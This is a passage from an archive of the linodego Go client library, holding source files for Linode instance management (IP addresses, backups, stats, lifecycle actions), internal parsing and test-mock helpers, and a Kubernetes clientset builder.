doGETRequest[InstanceIPAddressResponse](ctx, c, e) if err != nil { return nil, err } return response, nil } // GetInstanceIPAddress gets the IPAddress for a Linode instance matching a supplied IP address func (c *Client) GetInstanceIPAddress(ctx context.Context, linodeID int, ipaddress string) (*InstanceIP, error) { e := formatAPIPath("linode/instances/%d/ips/%s", linodeID, ipaddress) response, err := doGETRequest[InstanceIP](ctx, c, e) if err != nil { return nil, err } return response, nil } // AddInstanceIPAddress adds a public or private IP to a Linode instance func (c *Client) AddInstanceIPAddress(ctx context.Context, linodeID int, public bool) (*InstanceIP, error) { instanceipRequest := struct { Type string `json:"type"` Public bool `json:"public"` }{"ipv4", public} e := formatAPIPath("linode/instances/%d/ips", linodeID) response, err := doPOSTRequest[InstanceIP](ctx, c, e, instanceipRequest) if err != nil { return nil, err } return response, nil } // UpdateInstanceIPAddress updates the IPAddress with the specified instance id and IP address func (c *Client) UpdateInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string, opts IPAddressUpdateOptions) (*InstanceIP, error) { e := formatAPIPath("linode/instances/%d/ips/%s", linodeID, ipAddress) response, err := doPUTRequest[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } func (c *Client) DeleteInstanceIPAddress(ctx context.Context, linodeID int, ipAddress string) error { e := formatAPIPath("linode/instances/%d/ips/%s", linodeID, ipAddress) err := doDELETERequest(ctx, c, e) return err } // Function to add additional reserved IPV4 addresses to an existing linode func (c *Client) AssignInstanceReservedIP(ctx context.Context, linodeID int, opts InstanceReserveIPOptions) (*InstanceIP, error) { endpoint := formatAPIPath("linode/instances/%d/ips", linodeID) response, err := doPOSTRequest[InstanceIP](ctx, c, endpoint, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/instance_nodebalancers.go000066400000000000000000000005651474652371000244320ustar00rootroot00000000000000package linodego import ( "context" ) // ListInstanceNodeBalancers lists NodeBalancers that the provided instance is a node in func (c *Client) ListInstanceNodeBalancers(ctx context.Context, linodeID int, opts *ListOptions) ([]NodeBalancer, error) { return getPaginatedResults[NodeBalancer](ctx, c, formatAPIPath("linode/instances/%d/nodebalancers", linodeID), opts) } golang-github-linode-linodego-1.47.0/instance_snapshots.go000066400000000000000000000117751474652371000236610ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // InstanceBackupsResponse response struct for backup snapshot type InstanceBackupsResponse struct { Automatic []*InstanceSnapshot `json:"automatic"` Snapshot *InstanceBackupSnapshotResponse `json:"snapshot"` } // InstanceBackupSnapshotResponse fields are those representing Instance Backup Snapshots type InstanceBackupSnapshotResponse struct { Current *InstanceSnapshot `json:"current"` InProgress *InstanceSnapshot `json:"in_progress"` } // RestoreInstanceOptions fields are those accepted by InstanceRestore type RestoreInstanceOptions struct { LinodeID int `json:"linode_id"` Overwrite bool `json:"overwrite"` } // InstanceSnapshot represents a linode backup snapshot type InstanceSnapshot struct { ID int `json:"id"` Label string `json:"label"` Status InstanceSnapshotStatus `json:"status"` Type string `json:"type"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Finished *time.Time `json:"-"` Configs []string `json:"configs"` Disks []*InstanceSnapshotDisk `json:"disks"` Available bool `json:"available"` } // InstanceSnapshotDisk fields represent the source disk of a Snapshot type InstanceSnapshotDisk struct { Label string `json:"label"` Size int `json:"size"` Filesystem string `json:"filesystem"` } // InstanceSnapshotStatus constants start with Snapshot and include Linode API Instance Backup Snapshot status values type InstanceSnapshotStatus string // InstanceSnapshotStatus constants reflect the current status of an Instance Snapshot var ( SnapshotPaused InstanceSnapshotStatus = "paused" SnapshotPending InstanceSnapshotStatus = "pending" SnapshotRunning InstanceSnapshotStatus = "running" SnapshotNeedsPostProcessing InstanceSnapshotStatus = "needsPostProcessing" SnapshotSuccessful InstanceSnapshotStatus = "successful" SnapshotFailed InstanceSnapshotStatus = "failed" SnapshotUserAborted InstanceSnapshotStatus = "userAborted" ) // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceSnapshot) UnmarshalJSON(b []byte) error { type Mask InstanceSnapshot p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` Finished *parseabletime.ParseableTime `json:"finished"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) i.Finished = (*time.Time)(p.Finished) return nil } // GetInstanceSnapshot gets the snapshot with the provided ID func (c *Client) GetInstanceSnapshot(ctx context.Context, linodeID int, snapshotID int) (*InstanceSnapshot, error) { e := formatAPIPath("linode/instances/%d/backups/%d", linodeID, snapshotID) response, err := doGETRequest[InstanceSnapshot](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateInstanceSnapshot Creates or Replaces the snapshot Backup of a Linode. If a previous snapshot exists for this Linode, it will be deleted. func (c *Client) CreateInstanceSnapshot(ctx context.Context, linodeID int, label string) (*InstanceSnapshot, error) { opts := map[string]string{"label": label} e := formatAPIPath("linode/instances/%d/backups", linodeID) response, err := doPOSTRequest[InstanceSnapshot](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // GetInstanceBackups gets the Instance's available Backups. // This is not called ListInstanceBackups because a single object is returned, matching the API response. func (c *Client) GetInstanceBackups(ctx context.Context, linodeID int) (*InstanceBackupsResponse, error) { e := formatAPIPath("linode/instances/%d/backups", linodeID) response, err := doGETRequest[InstanceBackupsResponse](ctx, c, e) if err != nil { return nil, err } return response, nil } // EnableInstanceBackups Enables backups for the specified Linode. func (c *Client) EnableInstanceBackups(ctx context.Context, linodeID int) error { e := formatAPIPath("linode/instances/%d/backups/enable", linodeID) _, err := doPOSTRequest[InstanceBackup, any](ctx, c, e) return err } // CancelInstanceBackups Cancels backups for the specified Linode. func (c *Client) CancelInstanceBackups(ctx context.Context, linodeID int) error { e := formatAPIPath("linode/instances/%d/backups/cancel", linodeID) _, err := doPOSTRequest[InstanceBackup, any](ctx, c, e) return err } // RestoreInstanceBackup Restores a Linode's Backup to the specified Linode. func (c *Client) RestoreInstanceBackup(ctx context.Context, linodeID int, backupID int, opts RestoreInstanceOptions) error { e := formatAPIPath("linode/instances/%d/backups/%d/restore", linodeID, backupID) _, err := doPOSTRequest[InstanceBackup](ctx, c, e, opts) return err } golang-github-linode-linodego-1.47.0/instance_stats.go000066400000000000000000000027721474652371000227720ustar00rootroot00000000000000package linodego import ( "context" ) // StatsNet represents a network stats object type StatsNet struct { In [][]float64 `json:"in"` Out [][]float64 `json:"out"` PrivateIn [][]float64 `json:"private_in"` PrivateOut [][]float64 `json:"private_out"` } // StatsIO represents an IO stats object type StatsIO struct { IO [][]float64 `json:"io"` Swap [][]float64 `json:"swap"` } // InstanceStatsData represents an instance stats data object type InstanceStatsData struct { CPU [][]float64 `json:"cpu"` IO StatsIO `json:"io"` NetV4 StatsNet `json:"netv4"` NetV6 StatsNet `json:"netv6"` } // InstanceStats represents an instance stats object type InstanceStats struct { Title string `json:"title"` Data InstanceStatsData `json:"data"` } // GetInstanceStats gets the template with the provided ID func (c *Client) GetInstanceStats(ctx context.Context, linodeID int) (*InstanceStats, error) { e := formatAPIPath("linode/instances/%d/stats", linodeID) response, err := doGETRequest[InstanceStats](ctx, c, e) if err != nil { return nil, err } return response, nil } // GetInstanceStatsByDate gets the template with the provided ID, year, and month func (c *Client) GetInstanceStatsByDate(ctx context.Context, linodeID int, year int, month int) (*InstanceStats, error) { e := formatAPIPath("linode/instances/%d/stats/%d/%d", linodeID, year, month) response, err := doGETRequest[InstanceStats](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/instance_volumes.go000066400000000000000000000005701474652371000233200ustar00rootroot00000000000000package linodego import ( "context" ) // ListInstanceVolumes lists InstanceVolumes func (c *Client) ListInstanceVolumes(ctx context.Context, linodeID int, opts *ListOptions) ([]Volume, error) { response, err := getPaginatedResults[Volume](ctx, c, formatAPIPath("linode/instances/%d/volumes", linodeID), opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/instances.go000066400000000000000000000461471474652371000217430ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "net" "time" "github.com/linode/linodego/internal/parseabletime" ) /* * https://techdocs.akamai.com/linode-api/reference/post-linode-instance */ // InstanceStatus constants start with Instance and include Linode API Instance Status values type InstanceStatus string // InstanceStatus constants reflect the current status of an Instance const ( InstanceBooting InstanceStatus = "booting" InstanceRunning InstanceStatus = "running" InstanceOffline InstanceStatus = "offline" InstanceShuttingDown InstanceStatus = "shutting_down" InstanceRebooting InstanceStatus = "rebooting" InstanceProvisioning InstanceStatus = "provisioning" InstanceDeleting InstanceStatus = "deleting" InstanceMigrating InstanceStatus = "migrating" InstanceRebuilding InstanceStatus = "rebuilding" InstanceCloning InstanceStatus = "cloning" InstanceRestoring InstanceStatus = "restoring" InstanceResizing InstanceStatus = "resizing" ) type InstanceMigrationType string const ( WarmMigration InstanceMigrationType = "warm" ColdMigration InstanceMigrationType = "cold" ) // Instance represents a linode object type Instance struct { ID int `json:"id"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Region string `json:"region"` Alerts *InstanceAlert `json:"alerts"` Backups *InstanceBackup `json:"backups"` Image string `json:"image"` Group string `json:"group"` IPv4 []*net.IP `json:"ipv4"` IPv6 string `json:"ipv6"` Label string `json:"label"` Type string `json:"type"` Status InstanceStatus `json:"status"` HasUserData bool `json:"has_user_data"` Hypervisor string `json:"hypervisor"` HostUUID string `json:"host_uuid"` Specs *InstanceSpec `json:"specs"` WatchdogEnabled bool `json:"watchdog_enabled"` Tags []string `json:"tags"` PlacementGroup *InstancePlacementGroup `json:"placement_group"` // NOTE: Disk encryption may not currently be available to all users. DiskEncryption InstanceDiskEncryption `json:"disk_encryption"` LKEClusterID int `json:"lke_cluster_id"` Capabilities []string `json:"capabilities"` } // InstanceSpec represents a linode spec type InstanceSpec struct { Disk int `json:"disk"` Memory int `json:"memory"` VCPUs int `json:"vcpus"` Transfer int `json:"transfer"` GPUs int `json:"gpus"` AcceleratedDevices int `json:"accelerated_devices"` } // InstanceAlert represents a metric alert type InstanceAlert struct { CPU int `json:"cpu"` IO int `json:"io"` NetworkIn int `json:"network_in"` NetworkOut int `json:"network_out"` TransferQuota int `json:"transfer_quota"` } // InstanceBackup represents backup settings for an instance type InstanceBackup struct { Available bool `json:"available,omitempty"` // read-only Enabled bool `json:"enabled,omitempty"` // read-only LastSuccessful *time.Time `json:"-"` // read-only Schedule struct { Day string `json:"day,omitempty"` Window string `json:"window,omitempty"` } `json:"schedule,omitempty"` } type InstanceDiskEncryption string const ( InstanceDiskEncryptionEnabled InstanceDiskEncryption = "enabled" InstanceDiskEncryptionDisabled InstanceDiskEncryption = "disabled" ) // InstanceTransfer pool stats for a Linode Instance during the current billing month type InstanceTransfer struct { // Bytes of transfer this instance has consumed Used int `json:"used"` // GB of billable transfer this instance has consumed Billable int `json:"billable"` // GB of transfer this instance adds to the Transfer pool Quota int `json:"quota"` } // MonthlyInstanceTransferStats pool stats for a Linode Instance network transfer statistics for a specific month type MonthlyInstanceTransferStats struct { // The amount of inbound public network traffic received by this Linode, in bytes, for a specific year/month. BytesIn int `json:"bytes_in"` // The amount of outbound public network traffic sent by this Linode, in bytes, for a specific year/month. BytesOut int `json:"bytes_out"` // The total amount of public network traffic sent and received by this Linode, in bytes, for a specific year/month. BytesTotal int `json:"bytes_total"` } // InstancePlacementGroup represents information about the placement group // this Linode is a part of. type InstancePlacementGroup struct { ID int `json:"id"` Label string `json:"label"` PlacementGroupType PlacementGroupType `json:"placement_group_type"` PlacementGroupPolicy PlacementGroupPolicy `json:"placement_group_policy"` MigratingTo string `json:"migrating_to"` // read-only } // InstanceMetadataOptions specifies various Instance creation fields // that relate to the Linode Metadata service. type InstanceMetadataOptions struct { // UserData expects a Base64-encoded string UserData string `json:"user_data,omitempty"` } // InstancePasswordResetOptions specifies the new password for the Linode type InstancePasswordResetOptions struct { RootPass string `json:"root_pass"` } // InstanceCreateOptions require only Region and Type type InstanceCreateOptions struct { Region string `json:"region"` Type string `json:"type"` Label string `json:"label,omitempty"` RootPass string `json:"root_pass,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` StackScriptID int `json:"stackscript_id,omitempty"` StackScriptData map[string]string `json:"stackscript_data,omitempty"` BackupID int `json:"backup_id,omitempty"` Image string `json:"image,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces,omitempty"` BackupsEnabled bool `json:"backups_enabled,omitempty"` PrivateIP bool `json:"private_ip,omitempty"` Tags []string `json:"tags,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` FirewallID int `json:"firewall_id,omitempty"` // NOTE: Disk encryption may not currently be available to all users. DiskEncryption InstanceDiskEncryption `json:"disk_encryption,omitempty"` PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` // Creation fields that need to be set explicitly false, "", or 0 use pointers SwapSize *int `json:"swap_size,omitempty"` Booted *bool `json:"booted,omitempty"` // Deprecated: group is a deprecated property denoting a group label for the Linode. Group string `json:"group,omitempty"` IPv4 []string `json:"ipv4,omitempty"` } // InstanceCreatePlacementGroupOptions represents the placement group // to create this Linode under. type InstanceCreatePlacementGroupOptions struct { ID int `json:"id"` CompliantOnly *bool `json:"compliant_only,omitempty"` } // InstanceUpdateOptions is an options struct used when Updating an Instance type InstanceUpdateOptions struct { Label string `json:"label,omitempty"` Backups *InstanceBackup `json:"backups,omitempty"` Alerts *InstanceAlert `json:"alerts,omitempty"` WatchdogEnabled *bool `json:"watchdog_enabled,omitempty"` Tags *[]string `json:"tags,omitempty"` // Deprecated: group is a deprecated property denoting a group label for the Linode. Group *string `json:"group,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Instance) UnmarshalJSON(b []byte) error { type Mask Instance p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // UnmarshalJSON implements the json.Unmarshaler interface func (backup *InstanceBackup) UnmarshalJSON(b []byte) error { type Mask InstanceBackup p := struct { *Mask LastSuccessful *parseabletime.ParseableTime `json:"last_successful"` }{ Mask: (*Mask)(backup), } if err := json.Unmarshal(b, &p); err != nil { return err } backup.LastSuccessful = (*time.Time)(p.LastSuccessful) return nil } // GetUpdateOptions converts an Instance to InstanceUpdateOptions for use in UpdateInstance func (i *Instance) GetUpdateOptions() InstanceUpdateOptions { return InstanceUpdateOptions{ Label: i.Label, Group: &i.Group, Backups: i.Backups, Alerts: i.Alerts, WatchdogEnabled: &i.WatchdogEnabled, Tags: &i.Tags, } } // InstanceCloneOptions is an options struct sent when Cloning an Instance type InstanceCloneOptions struct { Region string `json:"region,omitempty"` Type string `json:"type,omitempty"` // LinodeID is an optional existing instance to use as the target of the clone LinodeID int `json:"linode_id,omitempty"` Label string `json:"label,omitempty"` BackupsEnabled bool `json:"backups_enabled"` Disks []int `json:"disks,omitempty"` Configs []int `json:"configs,omitempty"` PrivateIP bool `json:"private_ip,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` // Deprecated: group is a deprecated property denoting a group label for the Linode. Group string `json:"group,omitempty"` } // InstanceResizeOptions is an options struct used when resizing an instance type InstanceResizeOptions struct { Type string `json:"type"` MigrationType InstanceMigrationType `json:"migration_type,omitempty"` // When enabled, an instance resize will also resize a data disk if the instance has no more than one data disk and one swap disk AllowAutoDiskResize *bool `json:"allow_auto_disk_resize,omitempty"` } // InstanceMigrateOptions is an options struct used when migrating an instance type InstanceMigrateOptions struct { Type InstanceMigrationType `json:"type,omitempty"` Region string `json:"region,omitempty"` Upgrade *bool `json:"upgrade,omitempty"` PlacementGroup *InstanceCreatePlacementGroupOptions `json:"placement_group,omitempty"` } // ListInstances lists linode instances func (c *Client) ListInstances(ctx context.Context, opts *ListOptions) ([]Instance, error) { response, err := getPaginatedResults[Instance](ctx, c, "linode/instances", opts) if err != nil { return nil, err } return response, nil } // GetInstance gets the instance with the provided ID func (c *Client) GetInstance(ctx context.Context, linodeID int) (*Instance, error) { e := formatAPIPath("linode/instances/%d", linodeID) response, err := doGETRequest[Instance](ctx, c, e) if err != nil { return nil, err } return response, nil } // GetInstanceTransfer gets the instance's network transfer pool statistics for the current month. func (c *Client) GetInstanceTransfer(ctx context.Context, linodeID int) (*InstanceTransfer, error) { e := formatAPIPath("linode/instances/%d/transfer", linodeID) response, err := doGETRequest[InstanceTransfer](ctx, c, e) if err != nil { return nil, err } return response, nil } // GetInstanceTransferMonthly gets the instance's network transfer pool statistics for a specific month. func (c *Client) GetInstanceTransferMonthly(ctx context.Context, linodeID, year, month int) (*MonthlyInstanceTransferStats, error) { e := formatAPIPath("linode/instances/%d/transfer/%d/%d", linodeID, year, month) return doGETRequest[MonthlyInstanceTransferStats](ctx, c, e) } // CreateInstance creates a Linode instance func (c *Client) CreateInstance(ctx context.Context, opts InstanceCreateOptions) (*Instance, error) { e := "linode/instances" response, err := doPOSTRequest[Instance](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateInstance creates a Linode instance func (c *Client) UpdateInstance(ctx context.Context, linodeID int, opts InstanceUpdateOptions) (*Instance, error) { e := formatAPIPath("linode/instances/%d", linodeID) response, err := doPUTRequest[Instance](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // RenameInstance renames an Instance func (c *Client) RenameInstance(ctx context.Context, linodeID int, label string) (*Instance, error) { return c.UpdateInstance(ctx, linodeID, InstanceUpdateOptions{Label: label}) } // DeleteInstance deletes a Linode instance func (c *Client) DeleteInstance(ctx context.Context, linodeID int) error { e := formatAPIPath("linode/instances/%d", linodeID) err := doDELETERequest(ctx, c, e) return err } // BootInstance will boot a Linode instance // A configID of 0 will cause Linode to choose the last/best config func (c *Client) BootInstance(ctx context.Context, linodeID int, configID int) error { opts := make(map[string]int) if configID != 0 { opts = map[string]int{"config_id": configID} } e := formatAPIPath("linode/instances/%d/boot", linodeID) _, err := doPOSTRequest[Instance](ctx, c, e, opts) return err } // CloneInstance clone an existing Instances Disks and Configuration profiles to another Linode Instance func (c *Client) CloneInstance(ctx context.Context, linodeID int, opts InstanceCloneOptions) (*Instance, error) { e := formatAPIPath("linode/instances/%d/clone", linodeID) response, err := doPOSTRequest[Instance](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // ResetInstancePassword resets a Linode instance's root password func (c *Client) ResetInstancePassword(ctx context.Context, linodeID int, opts InstancePasswordResetOptions) error { e := formatAPIPath("linode/instances/%d/password", linodeID) _, err := doPOSTRequest[Instance](ctx, c, e, opts) return err } // RebootInstance reboots a Linode instance // A configID of 0 will cause Linode to choose the last/best config func (c *Client) RebootInstance(ctx context.Context, linodeID int, configID int) error { opts := make(map[string]int) if configID != 0 { opts = map[string]int{"config_id": configID} } e := formatAPIPath("linode/instances/%d/reboot", linodeID) _, err := doPOSTRequest[Instance](ctx, c, e, opts) return err } // InstanceRebuildOptions is a struct representing the options to send to the rebuild linode endpoint type InstanceRebuildOptions struct { Image string `json:"image,omitempty"` RootPass string `json:"root_pass,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` StackScriptID int `json:"stackscript_id,omitempty"` StackScriptData map[string]string `json:"stackscript_data,omitempty"` Booted *bool `json:"booted,omitempty"` Metadata *InstanceMetadataOptions `json:"metadata,omitempty"` Type string `json:"type,omitempty"` // NOTE: Disk encryption may not currently be available to all users. DiskEncryption InstanceDiskEncryption `json:"disk_encryption,omitempty"` } // RebuildInstance Deletes all Disks and Configs on this Linode, // then deploys a new Image to this Linode with the given attributes. func (c *Client) RebuildInstance(ctx context.Context, linodeID int, opts InstanceRebuildOptions) (*Instance, error) { e := formatAPIPath("linode/instances/%d/rebuild", linodeID) response, err := doPOSTRequest[Instance](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // InstanceRescueOptions fields are those accepted by RescueInstance type InstanceRescueOptions struct { Devices InstanceConfigDeviceMap `json:"devices"` } // RescueInstance reboots an instance into a safe environment for performing many system recovery and disk management tasks. // Rescue Mode is based on the Finnix recovery distribution, a self-contained and bootable Linux distribution. // You can also use Rescue Mode for tasks other than disaster recovery, such as formatting disks to use different filesystems, // copying data between disks, and downloading files from a disk via SSH and SFTP. func (c *Client) RescueInstance(ctx context.Context, linodeID int, opts InstanceRescueOptions) error { e := formatAPIPath("linode/instances/%d/rescue", linodeID) _, err := doPOSTRequest[Instance](ctx, c, e, opts) return err } // ResizeInstance resizes an instance to new Linode type func (c *Client) ResizeInstance(ctx context.Context, linodeID int, opts InstanceResizeOptions) error { e := formatAPIPath("linode/instances/%d/resize", linodeID) _, err := doPOSTRequest[Instance](ctx, c, e, opts) return err } // ShutdownInstance - Shutdown an instance func (c *Client) ShutdownInstance(ctx context.Context, id int) error { return c.simpleInstanceAction(ctx, "shutdown", id) } // Deprecated: Please use UpgradeInstance instead. // MutateInstance Upgrades a Linode to its next generation. func (c *Client) MutateInstance(ctx context.Context, id int) error { return c.simpleInstanceAction(ctx, "mutate", id) } // InstanceUpgradeOptions is a struct representing the options for upgrading a Linode type InstanceUpgradeOptions struct { // Automatically resize disks when resizing a Linode. // When resizing down to a smaller plan your Linode's data must fit within the smaller disk size. AllowAutoDiskResize bool `json:"allow_auto_disk_resize"` } // UpgradeInstance upgrades a Linode to its next generation. func (c *Client) UpgradeInstance(ctx context.Context, linodeID int, opts InstanceUpgradeOptions) error { e := formatAPIPath("linode/instances/%d/mutate", linodeID) return doPOSTRequestNoResponseBody(ctx, c, e, opts) } // MigrateInstance - Migrate an instance func (c *Client) MigrateInstance(ctx context.Context, linodeID int, opts InstanceMigrateOptions) error { e := formatAPIPath("linode/instances/%d/migrate", linodeID) return doPOSTRequestNoResponseBody(ctx, c, e, opts) } // simpleInstanceAction is a helper for Instance actions that take no parameters // and return empty responses `{}` unless they return a standard error func (c *Client) simpleInstanceAction(ctx context.Context, action string, linodeID int) error { _, err := doPOSTRequest[any, any]( ctx, c, formatAPIPath("linode/instances/%d/%s", linodeID, action), ) return err } golang-github-linode-linodego-1.47.0/internal/000077500000000000000000000000001474652371000212255ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/internal/duration/000077500000000000000000000000001474652371000230525ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/internal/duration/duration.go000066400000000000000000000022251474652371000252270ustar00rootroot00000000000000package duration import ( "encoding/json" "fmt" "log" "strconv" "strings" ) func UnmarshalTimeRemaining(m json.RawMessage) *int { jsonBytes, err := m.MarshalJSON() if err != nil { panic(jsonBytes) } if len(jsonBytes) == 4 && string(jsonBytes) == "null" { return nil } var timeStr string if err := json.Unmarshal(jsonBytes, &timeStr); err == nil && len(timeStr) > 0 { dur, err := durationToSeconds(timeStr) if err != nil { panic(err) } return &dur } var intPtr int if err := json.Unmarshal(jsonBytes, &intPtr); err == nil { return &intPtr } log.Println("[WARN] Unexpected unmarshalTimeRemaining value: ", jsonBytes) return nil } // durationToSeconds takes a hh:mm:ss string and returns the number of seconds. func durationToSeconds(s string) (int, error) { multipliers := [3]int{60 * 60, 60, 1} segs := strings.Split(s, ":") if len(segs) > len(multipliers) { return 0, fmt.Errorf("too many ':' separators in time duration: %s", s) } var d int l := len(segs) for i := range l { m, err := strconv.Atoi(segs[i]) if err != nil { return 0, err } d += m * multipliers[i+len(multipliers)-l] } return d, nil } golang-github-linode-linodego-1.47.0/internal/duration/duration_test.go000066400000000000000000000007131474652371000262660ustar00rootroot00000000000000package duration import ( "encoding/json" "testing" ) func TestUnmarshalTimeRemaining(t *testing.T) { if *UnmarshalTimeRemaining(json.RawMessage("\"1:23\"")) != 83 { t.Errorf("Error parsing duration style time_remaining") } if UnmarshalTimeRemaining(json.RawMessage("null")) != nil { t.Errorf("Error parsing null time_remaining") } if *UnmarshalTimeRemaining(json.RawMessage("0")) != 0 { t.Errorf("Error parsing int style time_remaining") } } golang-github-linode-linodego-1.47.0/internal/parseabletime/000077500000000000000000000000001474652371000240425ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/internal/parseabletime/parseable_time.go000066400000000000000000000004551474652371000273510ustar00rootroot00000000000000package parseabletime import ( "time" ) const ( dateLayout = "2006-01-02T15:04:05" ) type ParseableTime time.Time func (p *ParseableTime) UnmarshalJSON(b []byte) error { t, err := time.Parse(`"`+dateLayout+`"`, string(b)) if err != nil { return err } *p = ParseableTime(t) return nil } golang-github-linode-linodego-1.47.0/internal/testutil/000077500000000000000000000000001474652371000231025ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/internal/testutil/mock.go000066400000000000000000000054561474652371000243740ustar00rootroot00000000000000package testutil import ( "encoding/json" "fmt" "io" "log" "net/http" "os" "reflect" "regexp" "strings" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "golang.org/x/oauth2" ) var validTestAPIKey = "NOTANAPIKEY" func MockRequestURL(path string) *regexp.Regexp { return regexp.MustCompile(fmt.Sprintf("/[a-zA-Z0-9]+/%s", strings.TrimPrefix(path, "/"))) } func MockRequestBodyValidate(t *testing.T, expected any, response any) httpmock.Responder { t.Helper() return func(request *http.Request) (*http.Response, error) { eType := reflect.TypeOf(expected) result := reflect.New(eType) i := result.Interface() data, err := io.ReadAll(request.Body) if err != nil { t.Fatal(err) } if err := json.Unmarshal(data, &i); err != nil { t.Fatal(err) } // Deref the pointer if necessary if result.Kind() == reflect.Pointer { result = result.Elem() } resultValue := result.Interface() if !reflect.DeepEqual(expected, resultValue) { t.Fatalf("request body does not match request options: %s", cmp.Diff(expected, resultValue)) } return httpmock.NewJsonResponse(http.StatusOK, response) } } func MockRequestBodyValidateNoBody(t *testing.T, response any) httpmock.Responder { t.Helper() return func(request *http.Request) (*http.Response, error) { if request.Body != nil { t.Fatal("got request body when no request body was expected") } return httpmock.NewJsonResponse(http.StatusOK, response) } } // CreateMockClient is generic because importing the linodego package will result // in a cyclic dependency. This pattern isn't ideal but works for now. func CreateMockClient[T any](t *testing.T, createFunc func(*http.Client) T) *T { t.Helper() tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: validTestAPIKey}) client := &http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, }, } httpmock.ActivateNonDefault(client) t.Cleanup(func() { httpmock.DeactivateAndReset() }) result := createFunc(client) return &result } type Logger interface { Errorf(format string, v ...interface{}) Warnf(format string, v ...interface{}) Debugf(format string, v ...interface{}) } func CreateLogger() *TestLogger { l := &TestLogger{L: log.New(os.Stderr, "", log.Ldate|log.Lmicroseconds)} return l } var _ Logger = (*TestLogger)(nil) type TestLogger struct { L *log.Logger } func (l *TestLogger) Errorf(format string, v ...interface{}) { l.outputf("ERROR RESTY "+format, v...) } func (l *TestLogger) Warnf(format string, v ...interface{}) { l.outputf("WARN RESTY "+format, v...) } func (l *TestLogger) Debugf(format string, v ...interface{}) { l.outputf("DEBUG RESTY "+format, v...) } func (l *TestLogger) outputf(format string, v ...interface{}) { if len(v) == 0 { l.L.Print(format) return } l.L.Printf(format, v...) } golang-github-linode-linodego-1.47.0/k8s/000077500000000000000000000000001474652371000201165ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/k8s/clientset.go000066400000000000000000000021471474652371000224430ustar00rootroot00000000000000package k8s import ( "encoding/base64" "fmt" "github.com/linode/linodego" "k8s.io/client-go/kubernetes" "k8s.io/client-go/tools/clientcmd" "k8s.io/client-go/transport" ) // NewClientsetFromBytes builds a Clientset from a given Kubeconfig. // // Takes an optional transport.WrapperFunc to add request/response middleware to // api-server requests. func BuildClientsetFromConfig( lkeKubeconfig *linodego.LKEClusterKubeconfig, transportWrapper transport.WrapperFunc, ) (kubernetes.Interface, error) { kubeConfigBytes, err := base64.StdEncoding.DecodeString(lkeKubeconfig.KubeConfig) if err != nil { return nil, fmt.Errorf("failed to decode kubeconfig: %w", err) } restClientConfig, err := clientcmd.RESTConfigFromKubeConfig(kubeConfigBytes) if err != nil { return nil, fmt.Errorf("failed to parse LKE cluster kubeconfig: %w", err) } if transportWrapper != nil { restClientConfig.Wrap(transportWrapper) } clientset, err := kubernetes.NewForConfig(restClientConfig) if err != nil { return nil, fmt.Errorf("failed to build k8s client from LKE cluster kubeconfig: %w", err) } return clientset, nil } golang-github-linode-linodego-1.47.0/k8s/go.mod000066400000000000000000000040411474652371000212230ustar00rootroot00000000000000module github.com/linode/linodego/k8s require ( github.com/linode/linodego v1.33.0 k8s.io/api v0.29.4 k8s.io/apimachinery v0.29.4 k8s.io/client-go v0.29.4 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/emicklei/go-restful/v3 v3.11.0 // indirect github.com/go-logr/logr v1.3.0 // indirect github.com/go-openapi/jsonpointer v0.19.6 // indirect github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/swag v0.22.3 // indirect github.com/go-resty/resty/v2 v2.16.3 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/gnostic-models v0.6.8 // indirect github.com/google/go-querystring v1.1.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/imdario/mergo v0.3.6 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/modern-go/concurrent 